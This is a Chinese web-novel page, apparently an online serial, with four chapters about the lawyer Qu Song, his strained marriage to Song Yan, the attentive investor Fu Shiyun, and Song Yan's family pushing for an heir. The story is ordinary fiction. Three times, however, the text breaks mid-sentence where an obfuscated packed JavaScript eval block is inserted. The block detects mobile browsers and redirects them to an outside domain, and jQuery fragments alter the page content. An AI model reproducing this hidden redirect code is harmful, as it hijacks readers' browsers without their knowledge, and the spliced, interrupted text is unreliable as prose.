《如果有天我爱上你老婆》 1. 冷战 年初的时候,曲颂给自己的律师事务所搬了个家,从三环边缘搬到了CBD的一栋写字楼里。 除了曲颂外,事务所还有两位合伙人。一位是曲颂的大学同学,名叫许天和,俩人都是学法律的,关系也不错,另一位是两年前事务所扩大规模时拉来的投资人。 前前后后花了半个月,总算是搬利索了。律所租的是写字楼的十六层,宽敞明亮,区域划分清晰合理,较之前的办公环境有了质的飞跃。 曲颂打量着前台背景墙上‘颂和律师事务所’的字样,眼里不禁流露出骄傲。 肩膀搭上一只手,许天和不知何时出现在曲颂身边,感慨道:“事务所刚成立那年,租的地方也就赶上个车库大,最难的时候连续三个月没案子。幸亏坚持下来了,不然哪有今天啊。” 曲颂回过神,用胳膊轻轻撞了许天和一下:“乔迁之喜,不表示一下?” 正巧这时有律所的律师出来拍照,听到曲颂的话,故意道:“什么?许律要请大家吃饭?!” 许天和非常爽快道:“一顿饭而已,紧紧裤腰带就省出来了!好说!” 刘佳拍了张前台的照片准备拿来发朋友圈,灵机一动:“曲律、许律,我给你们拍张合照吧,留个纪念。” 两人都没拒绝,并肩站在背景墙中间位置。 许天和煞有其事对曲颂道:“真不想和你一起拍照,不利于我脱单,有你在谁还看我啊。” 曲颂轻笑了声:“我已经退出单身市场了,优质的单身男性才是你的竞争对手。” “有道理,你早就进入爱情的坟墓了。”许天和站直身体,正了正领带,“把我拍帅点!” 刘佳举起手机对着两人,自信满满:“永远不要质疑我们女生的修图实力!容嬷嬷都能修成天仙!” 拍完照,曲颂回了办公室,许天和跟着一起进来了,顺手关上门:“我看你这几天情绪不太对,出什么事了?” 关上门聊天,俩人的关系就不再是单纯的律所合伙人,而是认识十多年的好友,所以许天和有此一问。 曲颂坐到沙发上,脸上浮现出一丝愁容,苦笑道:“坟墓缺氧,有点窒息。” 许天和被曲颂的幽默逗笑:“吵架了?” 曲颂点了点头,手指习惯性转着无名指上的铂金戒圈:“冷战一周了。” 许天和自动带入和事佬的角色,劝道:“床头吵架床尾,有什么话说开就好了。要不这样,咱们聚餐时你叫上他。” 曲颂淡淡应了声:“再说吧。” 有人敲门,许天和扭头看向门口:“进来。” 刘佳推开办公室门:“有人送了花篮,说是要曲律亲自签收。” 曲颂来到前台,花篮整整齐齐摆了一排,用的全部都是新鲜的鲜花,鲜花颜色是曲颂喜欢的浅色系,花篮里还有【乔迁大吉,生意兴隆】的卡片,足见其用心程度。 曲颂心里升起一丝期待:“谁送的?” 派送小哥看了眼手里的签收单:“傅识云。” 曲颂愣了下,藏好心里的失落,在签收单签上名字:“谢谢,辛苦了。” 跟着一起出来的许天和闻言道:“傅总大手笔啊,送了这么多花篮。” 傅识云便是律所的第三位合伙人,不过和这个身份比起来,他更广为人知的身份是启跃创投的董事长兼执行总裁。 两年前,为了进一步扩大律所规模,曲颂去启跃拉投资,谈判的最终结果是傅识云以个人名义向律所注资,成为律所的第三位合伙人。除此之外,傅识云还与曲颂签署了股权代持协议书,由曲颂代为行使股东权利、管理律所。 出于尊重,律所一些重大决策曲颂会告知对方,收到的回复都大同小异,让他按照自己的想法来。律所搬迁在曲颂看来不是什么大事,所以并未告知。 曲颂问许天和:“你告诉傅总的?” “没啊,我什么都没说。”许天和摇头,随即福尔摩斯上身,“我怎么觉得这些花篮是冲着你送的呢,不然为什么要你亲自签收?” “不会。”曲颂想也不想,“我们没那么熟。” 从来没私下见过面,微信上只聊公事,就连逢年过节的祝福都是群发。这样的关系怎么看都和“熟”字搭不上边,充其量只是认识而已。 不过对方既然送了花篮,于情于理曲颂都是要感谢一下的。回到办公室,曲颂点开和傅识云的微信聊天界面给他发消息:【花篮收到了,很漂亮,谢谢傅总。】 上一条消息是过年时的祝福语,曲颂没有群发拜年的习惯,是傅识云先给他发的,非常明显的群发,出于礼貌,曲颂也在网上找了条祝福语复制了过去。 发完消息,曲颂点进微信动态,律所的很多律师都发了关于乔迁的朋友圈。如今早就不是酒香不怕巷子深的时代了,宣传是必不可少的,曲颂用刘佳发给他的合照作为配图发了条朋友圈: [新起点,新征程。] - 晚上八点,忙完工作的许天和瞧见曲颂办公室的灯还亮着,敲了敲门进去:“还没忙完呢?” 曲颂坐在电脑前发呆,闻言匆匆回神:“忙完了。” 许天和也没拆穿他:“走吧,吃饭去。” 在附近找了家餐厅,两人边吃边聊。 许天和:“聚餐的地方我订好了,这周五晚上聚。不占用周六日的休息时间,要是喝醉了第二天还能休息。适当团建有利于增强凝聚力,大家也一起乐呵乐呵。” 曲颂戴着手套剥虾,调侃道:“不愧是许妈妈,心细如发。” “许妈妈”是许天和大学时得来的外号。当时他是寝室长,带饭、打水、拿外卖……以一己之力辛勤哺育着包括曲颂在内的三位室友。 “许妈妈”盯着曲颂手里快要剥完的虾,一本正经道:“还不快孝敬孝敬!” 曲颂心领神会将剥好的虾肉放到许天和碗里。 吃完曲颂孝敬的虾,许天和又想起件事:“对了,你在微信上跟傅总说一声聚餐的事,毕竟也是合伙人,来不来就随他了。” 曲颂点点头:“好。” 话虽这么说,但俩人都默认傅识云不会来。 回到家将近十点,屋里漆黑一片,曲颂打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779585|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开玄关灯,看到地上的鞋,知道对方已经回来了。看了眼紧闭的卧室门,曲颂坐到换鞋凳上,头抵着墙,疲惫地叹了口气。 以往每次吵架,曲颂都是主动求和的那个。他本就年长,性子也沉稳成熟,总喜欢站在长远的角度考虑问题,觉得为了逞一时之强伤害感情很不值当。 曲颂一直是感情中的修补者和妥协者。这是他们第一次冷战,也是曲颂第一次没主动低头。不是较劲,只是有些累了。 在客房睡了一宿,醒来的第一件事就是看手机。微信有未读消息,是傅识云发来的:【刚下飞机,喜欢就好。】 发送时间是凌晨3点多。 真是个大忙人,曲颂心想,想起许天和的话,顺势发消息问道:【这周五律所聚餐,不知道傅总有没有空?】 发过去后曲颂就做好了被拒绝的准备,心情平静地去洗手间洗漱,再出来对方已经回复了:【有的。】 曲颂愣了下,没想到对方会答应,告诉了详细的时间地址,不忘圆满结束话题:【期待傅总的到来。】 人机一般的回复直接逗笑了手机另一边的人。 - 上午有个案子开庭,简单吃了口饭,曲颂驱车往法院赶去。 这次的案子是件离婚诉讼案,男方是个无业游民,衣食住行全靠女方供着,一年前女方发现男方婚内出轨,便想让他净身出户,男方死皮赖脸不肯离婚,于是女方找到了曲颂。 曲颂看了她收集到的证据后,发现说服力都很低,而且有不少证据都是非法获取的,无法被采信,于是便给她出了个主意——先假意原谅,让对方放松警惕,再趁机拿到婚内出轨的有力证据。 出轨只有零次和无数次,不会改的。 和曲颂预想的一样,男方嘴上说改了,背地里仍旧和情人藕断丝连。女方用了半年多时间收集证据,而后向法院提起了诉讼。 到了法院,一进大厅就看到一个看上去老实巴交的男人跪在女人面前,不顾法院人来人往,苦苦哀求:“老婆我这次真改了,求你再给我一次机会。我发誓一定跟她断的干干净净,做不到我就是王八犊子!我出门就让车撞死!” 女人梳着利落的齐耳短发,妆容精致,一看就是事业型女强人,不屑道:“这些毒誓留给你的小情人吧,我可受不起!起来,你不嫌丢人我还嫌丢人呢!” 男人开始耍无赖:“你不答应我就不起来!” 女人不耐烦地翻了个白眼,下一秒突然笑意盈盈:“早啊曲律师!” 曲颂走到女人身边,语气温柔:“早上好。” 女人不耐烦地抽出男人手里的衣角,冲曲颂道:“我们进去吧。” 曲颂点头:“好。” 两人往电梯口走,身后的男人从地上站起来,冲曲颂破口大骂:“你一个男人竟然帮女人打官司!简直给我们男人丢脸!” 曲颂转过身,语气不痛不痒却直戳心窝:“你说你是男人,你有什么证据?婚内出轨吗?” 女人先是愣住,随即被曲颂的话逗笑,心情都跟着好了不少,心想:论嘴毒还得是律师。 2. 伤疤 两人没有孩子,无需争夺抚养权,可以省去不少功夫。法庭上,曲颂提交了男方所有婚内出轨的证据。包括但不限于保证书、有特殊意义的转账、聊天记录等等。 其中保证书是曲颂特意嘱咐女方一定要拿到的。在这份手写保证书里,男方承认并详细交代了自己婚内出轨的事实,白纸黑字抵赖不得。 看到这些证据的男人直接傻眼了,仍不死心的狡辩:“都是对方勾引我的!是她先勾引我的,这不能怪我吧!有哪个男人能拒绝主动送上门的女人?法官大人您也是男人,应该能理解吧!这要放到古代,男人可是能三妻四妾的!” 女人被他的话气个半死,她没想到自己的枕边人竟能如此无耻!正要开口,收到曲颂投来的安抚的目光,铁青着脸没说话。 曲颂缓缓开口,嗓音清润,言辞犀利:“三妻四妾是留给达官贵人的,以你的条件,放在古代只会是个没地没房的流民,娶不上媳妇的。另外,所谓的勾引说到底不过一个愿打一个愿挨,在对原配造成的伤害中,没有一个是无辜的。” 男人被噎得说不出话,只能冲曲颂干瞪眼。 说完,曲颂有一瞬的失神,似乎陷在了某段回忆中,而后继续道:“忠诚和责任是婚姻的底色,前者规定了婚姻的唯一性,后者保障了婚姻的存续。被告在婚姻关系中,既没有做到忠诚,也没有履行身为丈夫的责任。且在得到原告的谅解后二次出轨,对原告造成了严重伤害。” 除了婚内出轨的证据外,曲颂还提交了家庭收入情况的证据,证明了婚后财产均由女方创造。在各种有力证据的支持下,法官当庭宣判离婚,婚后财产全部归原告所有。 女人站在法院门口,长长出了一口气:“终于结束了。曲律师,我请你喝杯咖啡吧。” 曲颂没推辞:“好。” 走下台阶,身后传来一道咆哮。男人站在法院门口,也不上前,指着曲颂恶狠狠道:“给老子等着!一定让你好看!” 这种威胁曲颂听了没有一百遍也有九十九遍,早就不当回事了:“要我好看的人多了,先排队去吧。” 法院附近就有咖啡厅,落座后,曲颂点了杯常喝的拿铁。 女人搅动着咖啡,曲颂身上散发出的亲和力让她不自觉打开了话匣子:“谈恋爱那会儿,周围的亲戚朋友都说他配不上我,让我找个条件更好的。但我不这么觉得,他对我好,人也老实,这就足够了……谁承想最后是这个结局。真不知道是他变了,还是我根本就没看清他。” “勇敢告别已经枯萎关系才能重新扎根生长。”曲颂轻声安慰道,“人生如四季,熬过了寒冬,往后便都是好季节了。” 女人笑道:“感觉曲律师是个很洒脱的人呢。” 曲颂轻笑着摇了摇头:“劝别人容易,劝自己难。” 很多时候并非当局者迷,只是沉溺其中不愿看清罢了。 - 转眼到了周五,晚上六点多,许天和第一个出发,其他人开车跟在后面。曲颂则留在最后,确保大家都坐上车再走,如果有人没车他还可以捎上。 这时,公司里的一名女员工从写字楼走了出来,捂着肚子,脸色苍白。 曲颂走上前:“身体不舒服吗?” “生理期肚子疼。曲律,这次聚餐我可不可以不去?”女生试探地问。她是去年毕业后进入律所的,还是个新人。如果不去,大家会不会觉得她不合群?进而被排挤孤立?她已经纠结一下午了。 “当然可以,身体最重要。”曲颂看出对方的紧张,笑着安抚道,“我给你打个车。” “不用不用,我男朋友来接我。”女生连连摆手,“谢谢曲律。” “好。那我等你男朋友来了再走。”万一晕倒了什么的,扔她一个人不安全。 女生站在曲颂身后,打量着男人修长匀称的背影,目光最后落在左手无名指的戒圈上,不禁想:这么温柔细心的人,做他的伴侣一定很幸福。 过了大概十分钟,一辆白色轿车出现在写字楼门口。 女生连忙道:“我男朋友来了,曲律再见。” 曲颂点头:“再见。” 这么一耽搁,加上路上有点堵车,曲颂到的有点晚。打开包房门,笑盈盈道:“堵车来晚了,不好意思。” 许天和立刻朝他招招手。 曲颂走过去,发现座位上放着一个用黑色包装纸包着的盒子:“这是什么?” 许天和:“傅总送的搬迁礼物,每人都有,这个是你的。” 曲颂将盒子拿起来放到脚边座椅旁,坐下四下看了看,并未发现傅识云的身影:“他人呢?” “走了,说是要赶飞机。”说完,许天和往曲颂那边探了探身子,低声道,“你是没看到,他一进来咱们律所的女同志们直接炸锅了!场面堪比明星亮相啊!” 许天和绘声绘色描述着:“两条腿比我命还长!头发也弄了,戴了个胸针,上面的钻石赶上鸽子蛋大了!哦对了,还喷了香水……坐飞机用得着这么精致?” 曲颂想了想:“可能下了飞机就要出席什么场合,怕来不及,所以提前弄好吧。” 许天和点头:“也有可能。” 礼物是钢笔礼盒,里面有一支钢笔、一盒墨水——曲颂看到有几个人拆开了,都是一样的。钢笔是个不会出错的礼物,男女皆宜。 曲颂解锁手机,给傅识云发消息:【堵车耽搁了,没能当面道谢,傅总破费了。】 那边大概在去往机场的路上,回复的很快:【不赖你,是我临时有事,必须亲自过去一趟。】 曲颂:【理解,工作重要。起降平安。】 傅识云:【谢谢,用餐愉快。】 曲颂按灭手机,结束了聊天。 许天和偏头冲曲颂道:“跟他说了吗?” 曲颂摇头:“没。” “说一声呗,实在不行就说是我让他来的,总这么僵着也不是事。”许天和为两人操碎了心。 几秒后,曲颂叹了口气,终究还是说服了自己——已经主动了那么多次了,也不差这一次。拿出手机给宋琰发消息:【律所聚餐,你来吗?】 过了几分钟,曲颂收到了回复:【不了。】 简单的两个字,连个解释都没有。曲颂轻轻吐出口气,按灭手机:“上菜吧,大家都饿了。” 吃到一半,曲颂借口去洗手间离开了包房。许天和跟出来,见曲颂正往电梯口走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779586|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快走几步追上:“就知道你不是去洗手间。说好了我请的,不用你。” 曲颂笑道:“你的钱还是留着攒老婆本吧,早点脱单。” 许天和“啧”了声:“我这是缘分未到!等缘分到了,肯定结婚生娃一条龙,实现弯道超车!” 到了前台,曲颂抢先按住许天和的手:“13号包房结下账。” 前台服务员在电脑上调出账单信息:“已经有人付过了,姓傅。傅先生还订了餐后水果。” 许天和和曲颂对视了一眼,语气惊讶:“这么贴心啊。” 曲颂没吭声,但很赞同许天和说的。 许天和想了想:“咱俩找机会请傅总吃顿饭吧。” 对方已经做到这份上了,又是送礼物又是买单的,还有之前送的花篮,他们也不能差了事。 这点人情世故曲颂还是懂的,点头:“好。” 回到家已经将近十点,曲颂喝了酒,整个人有点迷糊,本能地往主卧走去。打开门,洗手间传出的淅淅沥沥的水声让曲颂清醒不少,眨了眨眼,迟钝地想:他们这算和好没? 算了,还是睡客房吧,免得再被赶出来。 这么想着,曲颂转身往门口走,一条结实有力的手臂突然缠在腰上。等曲颂反应过来时,整个人已经被拔萝卜似的抱了起来。 宋琰抱着曲颂进了洗手间,将人放到洗手台上,双手圈住曲颂的腰:“往哪儿跑?” 曲颂看着裸着上半身的宋琰,弯起眼睛笑了,脸颊因为喝了酒泛着酡红,格外的迷人:“这不是怕被你赶出去。” 宋琰的手顺着西装外套探进去,隔着衬衣惩罚似的捏了捏曲颂细瘦的腰:“还敢不敢惹我生气了?” 曲颂张了张嘴,最终只是沉默地摇了摇头——刚和好,还是不要争论已经过去的事了,免得再吵起来。 目光向下,落在宋琰小腹上,这里有一道为他而留的伤疤。 那是他们在一起的第二年冬天,做律师这行不可能不得罪人,被怀恨在心也是有的。曲颂和宋琰去逛超市,出来时一个戴着帽子的男人过来问路,五官被帽檐挡住看不真切,等靠近了,突然掏出匕首朝曲颂刺去。 一切发生的太快,根本来不及做出反应。宋琰越过了自我保护的本能,将曲颂牢牢护在身后,替他挡下了这刀。这一刀伤到了动脉,宋琰险些没抢救过来,在ICU里待了半个月才苏醒。 原本反对两人在一起的宋琰的父母,看到宋琰为了曲颂连命都能不要后,也不再反对了。 受原生家庭的影响,曲颂原本是个不婚主义,二十一岁的宋琰用实际行动打破了曲颂的原则。两年后,宋琰到了法定结婚年龄,向曲颂求了婚。 领证前一天,曲颂失眠了一夜。他很忐忑,不知道二十三岁结婚对宋琰来说是不是太早,不知道他们会不会一直相爱下去,不知道他们能不能携手走完这冗长的一生…… 但曲颂没有退缩。 而这些疑问,除了时间,没人能回答。 如今是他们结婚的第五年,三十三岁的曲颂轻轻抚摸着二十八岁的宋琰的眉眼,在心里轻轻地问: 还爱我吗? 还像当初那样奋不顾身的爱我吗? 3. 撞见 第二天是周六,吃过早饭,两人和往常的周六一样去看望宋琰的父母。 宋琰家里是做医药生意的,从曾祖父那辈就开始了财富积累,家族庞大。宋琰是家中独子,含着金汤匙出生,自小便养尊处优惯了,和曲颂结婚后也是十指不沾阳春水,日常起居都是曲颂照顾他。 来到地库,宋琰习惯性走到副驾驶旁,打开车门,看到坐椅上的黑色盒子:“这是什么?” 曲颂拿起来放到后座:“律所搬迁合伙人送的礼物,每个人都有。” 他昨晚忘记拿上去了。 宋琰愣了一会,像是刚想来有这么回事:“搬完了?” 曲颂“嗯”了声:“搬完了。” 和宋琰生来便是天之骄子不同,曲颂是从小县城考到江北市的,考进了全国最好的政法大学。参加工作三年后辞职,拿出全部积蓄跟许天和合开了律所,这么多年摸爬滚打,律所规模从小到大,他也从名不见经传的小律师变的小有名气。 曲颂很重视这次搬迁,这是律所更上一层楼的标志,和宋琰念叨了很多次。倒也不图什么,只是想和他分享这份喜悦,没想到对方竟然没当回事。 宋琰想说点什么找补一下,曲颂已经坐到了主驾驶,语气淡淡的:“上车吧。” 曲颂不想吵架,和吵架带给他的糟糕透了的感受相比,他宁愿默默消化掉心中的不快与失望,说服自己不要在意,不过是件小事。 宋琰坐到副驾驶,余光瞄了眼曲颂,见他没生气,抬手系上了安全带。 等红灯时,曲颂无意间通过后视镜看到了座椅上的礼盒,进而想起了傅识云。理智告诉他不要比较,没有意义,心里却仍旧忍不住这么做。 随即又找理由安慰自己——傅识云是律所合伙人,宋琰不是,不能混为一谈。 通常情况下两人不会留宿,吃顿午饭待到下午便回去了。今天宋母不知怎的执意让他们住一宿,曲颂和宋琰便住下了。 许是换了环境的缘故,曲颂睡得不太踏实,夜里醒了。另一侧是空的,宋琰不在房间。看了眼手机,凌晨一点多。 他们住的是宋琰的房间,在二楼,旁边就是书房。曲颂轻轻打开门,发现书房门虚掩着,灯光顺着缝隙露在地上,形成一条细细的光带。 曲颂想当然地以为宋琰在里面,抬脚往书房门口走去。走近了,宋母的声音传了出来:“你二叔家的儿子谈了个女朋友,怀孕四个月了,上周二刚见完家长,估计等孩子生下来就办婚礼了。” 曲颂停下脚步,后背贴在墙上,默默听着。 宋琰坐在沙发上,把玩着无名指上的婚戒,语气随意:“和我说这个干什么,又不是我娶。” “你爷爷念叨多少次了,想抱重孙子、想抱重孙子!万一她怀的是男孩,我看你怎么办!”陈玉婷恨铁不成钢,“你是宋家长孙,你爷爷又最疼你,就等你给宋家延续香火呢,如今反倒被别人抢了先。” 陈玉婷见宋琰一副油盐不进的模样,叹了口气,苦口婆心道:“长恒是家族企业,你光叔叔就三个,还有两个姑姑,乱七八糟的亲戚更是一大堆,都在长恒。别看现在一团和气,那是有你爷爷在不敢闹!你现在连个孩子都没有,说难听点就是断子绝孙,你爷爷想偏心你都找不到理由!” 宋琰沉默半晌:“爷爷挺喜欢曲颂的。” 陈玉婷:“那是不想让你难堪!私下里不知道和我说过多少次了,说让我好好劝劝你,一直和男人过日子不是办法。你俩连恋爱带结婚也八年了,我看你对他的热乎劲也过了,日子还是得老婆孩子热炕头过着才有意思。” “那您想怎么样?”宋琰不知被哪句话戳到了痛处,声音里带上怒意,“让我和他离婚?” “那你说你俩结婚和没结有什么区别?”陈玉婷也不恼。她自己的儿子自己了解,不同意的事会干脆利落拒绝,刚刚那么说就是有了松动了。 不等宋琰回答,陈玉婷接着说:“咱家不是普通家庭,长恒多少人虎视眈眈,你没有孩子不行。当初你和曲颂谈恋爱,我同意了,结婚我也没拦着。那时候你年纪小,大人的话听不进去,我也不想给你太大压力。今年你二十八了,进公司也有几年了,很多事情不用我说你也明白了。” 听到这番话的曲颂心情出奇地平静。这些事情他早在五年前就考虑到了,当时理智告诉他应该和宋琰分手,宋琰家庭情况复杂,他们长不了。 只是爱战胜了理智。 陈玉婷继续道:“成年人的世界没有两全其美,选择一个就得放弃另一个。除非你告诉,你能为了曲颂放弃长恒、放弃宋家长孙的身份、放弃你爸在长恒打拼多年的心血!” 书房里陷入久久的沉默。 曲颂突然丧失了听答案的勇气,抬脚回了房间。 没过五分钟,卧室门打开。宋琰躺到床上,从后背抱住曲颂,手放在他的肚子上来回抚摸。 黑暗中,曲颂缓缓睁着眼睛,目光平静而苦涩。 翌日吃早饭时,陈玉婷冲宋琰道:“下个月是你爷爷七十三岁大寿,又是本年,家里准备大办。你留下来帮着操办操办,先别回去了。” 宋琰转头看曲颂。 曲颂淡淡道:“让你留下就留下吧。” “那你呢?” “我回去住。这边离律所太远,上下班不方便。有需要我的地方我随时过来。” 宋琰还想说什么,曲颂抢先开口:“就这么定了。” 吃过早饭,曲颂没多留,驱车离开别墅。后视镜里,站门别墅门口目送他的宋琰身影越来越小,直至再也看不见。 回到家,曲颂坐到沙发上,打量着清冷的房间,忍不住拨了通电话,接通的瞬间,还未开口眼里便涌上笑意:“妈。” 慈爱柔和的声音顺着手机传了过来:“吃饭了没?” “吃了,您吃了吗?” “我也吃了,正想着今天周末给你打电话呢,结果你就打过来了。”手机那边的张小梅笑盈盈道。 曲颂嘱咐:“最近几天降温,多穿些,别感冒了。尽量少出门,等雪化干净了再出去。” “放心吧,妈能照顾好自己。倒是你,千万注意身体。” 曲颂“嗯”了声,忽然道:“妈,要不您搬过来和我一起住吧,也好有个照应。” “妈在老家生活习惯了,适应不了大城市。你给我换了电梯楼,又有钟点工定期上门打扫,也不用再为钱发愁,这么舒服的日子以前做梦都不敢想,妈可知足了。”张小梅语气里满是骄傲。 这个为了生活、为了孩子忙碌半生的女人,终于苦尽甘来。 听到这话,曲颂心里好受了很多,语气里难得带上一丝孩子气:“我赚钱就是为了让您过上好日子的。” 张小梅笑声愉悦:“妈现在的日子好的不能再好了,你和小琰感情挺好的吧?” 曲颂抿了抿唇,吞下了心里的苦涩:“挺好的。” 听出曲颂说话的语气有点不对,张小梅没说什么别的话,只是嘱咐了句:“他年纪比你小,凡事多让着他点。” 曲颂“嗯”了声:“我知道。” “好了,妈不跟你唠了。难得周末,好好休息休息,千万照顾好身体。” “您也是,等我工作不忙了就回去看您。” 曲颂昨天后半夜失眠了,挂掉电话后,躺在沙发上就睡着了。睡醒后已经将近中午,曲颂呆坐在沙发上,一股强烈的孤独感从心底涌了上来,像张开的巨网,将他紧紧包裹住,越收越紧。 余光瞄到边柜上的相框,曲颂伸手拿过来。相框里放的是两人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15779587|174781||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 合照,刚在一起不久拍的——宋琰还在读大学,曲颂去找他,他们在校园里约会。路过一片人工湖时,湖边垂柳依依,夕阳染红湖面,曲颂觉得景色很好,拉着宋琰拍照。 照片里,宋琰牢牢抱住曲颂,另一只手举着手机拍照,笑容灿烂、意气风发,眼里是汹涌的爱与骄傲,仿佛拥有了曲颂就拥有了全世界。 他们有很多合照,这是曲颂最喜欢的一张。 如今再看,竟有种物是人非之感。曲颂长长叹了口气,不禁湿了眼眶。 - 曲颂不喜欢拖延,什么事能早解决就早解决。周二的时候,曲颂给傅识云发消息,问他什么时候有空,自己和许天和想请他吃饭。 傅识云是这样回的:【中饭我都有空,看你和许律师的时间。】 于是曲颂和许天和一商量,便约在了周四中午。周四当天,曲颂很早就到了预定的中餐厅,刚坐下没多久,傅识云推门走了进来。 曲颂站起身迎上去,两人握了个手。严重的温差让傅识云怀疑面前的人是雪做的,不然手怎么这么凉。 曲颂也意识到自己手太凉了,连忙松开,面露歉意:“我一到冬天就手脚冰凉。” 傅识云脱掉毛呢大衣搭在椅背上,露出里面的黑色西装,气质沉稳而成熟:“可能是体寒,可以找中医看看。” 中医二字立刻让曲颂联想到了苦苦的中药,微不可察地皱了皱鼻子,嘴上却碍于面子应下了:“有时间就去,傅总请坐。” 傅识云眼里闪过笑意,坐到了曲颂对面。 微信响了声,曲颂解锁手机,看到了许天和发的消息:【我车让人追尾了,正等交警呢,饭局估计是去不成了。】 曲颂神色一紧,连忙询问情况:【人没事吧?严重吗?】 许天和:【放心吧,连根头发丝都没伤着,车后灯碎了。傅总到了吗?】 曲颂:【到了,刚到。我也到了。】 许天和:【这事闹的,要不我打车赶过去,车子先扔这儿?】 曲颂:【事故不处理完你怎么走,走了也得被叫回去。我跟他解释一下,你找机会再单独请一次。】 许天和:【也行。】 见曲颂神色凝重,傅识云出声询问:“出什么事了?” 曲颂抬头,如实道:“许律师的车让人追尾了,人没什么事,正等交警处理事故呢。傅总要是不介意,下次让他单独请您,这顿算我请的。” “不介意。还有……” 傅识云顿住,曲颂不解地“嗯?”了声,只听对方用调侃又商量的口吻说:“可不可以不用敬语?会显得我很老。” 一岁之差,同辈之间以“您”相称,除了能凸显礼貌和尊重,还有浓浓的距离感,傅识云不喜欢。 曲颂从善如流:“好。” 曲颂订的是套餐,一共十道菜,菜品很全,口味也比较温和。一顿饭吃的宾主尽欢,结账时,傅识云先一步拿过账单,曲颂见状连忙道:“说好了我请。” 傅识云不动声色将账单塞进大衣兜里,应了声:“好。” 从餐厅出来,曲颂正要和傅识云告别,不经意间看到的一幕让他直接愣在原地——路对面的咖啡厅里,宋琰和陈玉婷并排坐在落地窗前,宋琰对面坐着位女生,看上去大概二十出头的年纪。 大脑本能将这个场景与那晚上听到的话关联在一起,意味着什么不言而喻。曲颂脸色瞬间白了些,强迫自己收回目光,神色如常地冲傅识云告别:“傅总再见。” 傅识云也只当没看到,维护着曲颂的体面和尊严:“再见。” 等曲颂驱车离开,傅识云偏头看向咖啡厅,脑子里挥之不去曲颂苍白的脸色,下垂在身侧的手紧握成拳。 ——没有过问的资格,愤怒都只能无声。 4. 回旋镖 咖啡厅里,陈玉婷借口去洗手间,故意为两人制造独处的机会。 被陈玉婷以逛街为由骗过来的宋琰耐着性子道:“我妈可能没跟你说实话,我结婚了。” 听到这话的女生脸上没有丝毫意外,喝了口咖啡才慢悠悠开口:“我知道。” “知道你还来?” 女生笑了笑,答非所问:“伯母跟我说你之前交过女朋友,所以你应该算是双性恋吧。” “我谈恋爱只看感觉。还有……”宋琰认真强调,“他是我初恋。” 曲颂那时在长恒医药的法务部工作,宋琰暑假去公司学习公司事务,在电梯里碰到了他。 当时电梯里还有其他人,但宋琰眼里只能看到曲颂,穿着白衬衣和黑色西裤,修长的脖子上戴着工作牌,由内而外散发出来的成熟深深迷住了二十岁的宋琰。 曲颂长得很好看,是那种中性的美,五官既不凌厉也不阴柔,恰到好处,尤其是那双桃花眼,笑起来弯弯的,格外迷人。再加上随和温柔的性格,会不自觉让人想亲近。 确定喜欢曲颂时,宋琰没在两人的性别上过多纠结。喜欢就喜欢了,管他男的女的,想在一起就追。反倒是曲颂很震惊,因为在此之前他喜欢的一直都是女生,虽然没谈过,但高中时有过暗恋对象。 所以严格来说,曲颂是被宋琰掰弯的。 但其实宋琰又何尝不是被曲颂掰弯的呢——在遇到曲颂之前,宋琰从未想过自己会喜欢上男人。 “那现在呢?”女生语气不疾不徐,“对他还有当初的感觉吗?” 听到这话的宋琰冷笑了声,扔下句“与你无关”后起身离开,脑子里却不自觉开始思考这个问题。 还有当初的感觉吗? 没有了。 不知从什么时候开始,曲颂对他不再有致命的吸引力,一颦一笑、一举一动都变得寻常而普通,宋琰不觉得这种改变有什么问题,他们已经在一起八年了,朝夕相处,腻了是很正常的事。 但不管怎样,曲颂只能是他的。 回到车里,宋琰耐着脾气冲陈玉婷道:“以后少操心我的事。” 陈玉婷睨了眼满脸不悦的宋琰,没再说什么。 晚上,宋远山从公司回到家,临睡前,陈玉婷将白天的事情说了,叹了口气:“这孩子油盐不进的,我看他对曲颂也没那么喜欢了啊。” 宋远山不怎么意外:“他什么性格你还不知道吗,只要是他认定的,哪怕不喜欢了扔在一边,也不会丢弃。” “是啊,从小就这样。玩具玩腻了,放柜子里锁起来也不让丢,转头又去买新的。” 旧玩具在柜子里不见天光,越聚越多。直到宋琰长大,彻底丧失了对玩具的喜爱,于是毫不犹豫全部丢弃。 对待玩具如此,对待感情亦然——曲颂是初恋,有且仅有一个,对宋琰来说意义非凡、无可替代,哪怕不喜欢了也不会放手。 “这件事交给我,你别操心了。” 宋远山阅人无数,了解自己的儿子也了解曲颂,一个喜欢新鲜刺激,一个眼里揉不得沙子。一直没采取行动是因为事情还没到那份上,但现在他等不了了。 陈玉婷点点头,随即又问:“确定了没有,怀的男孩还是女孩?” 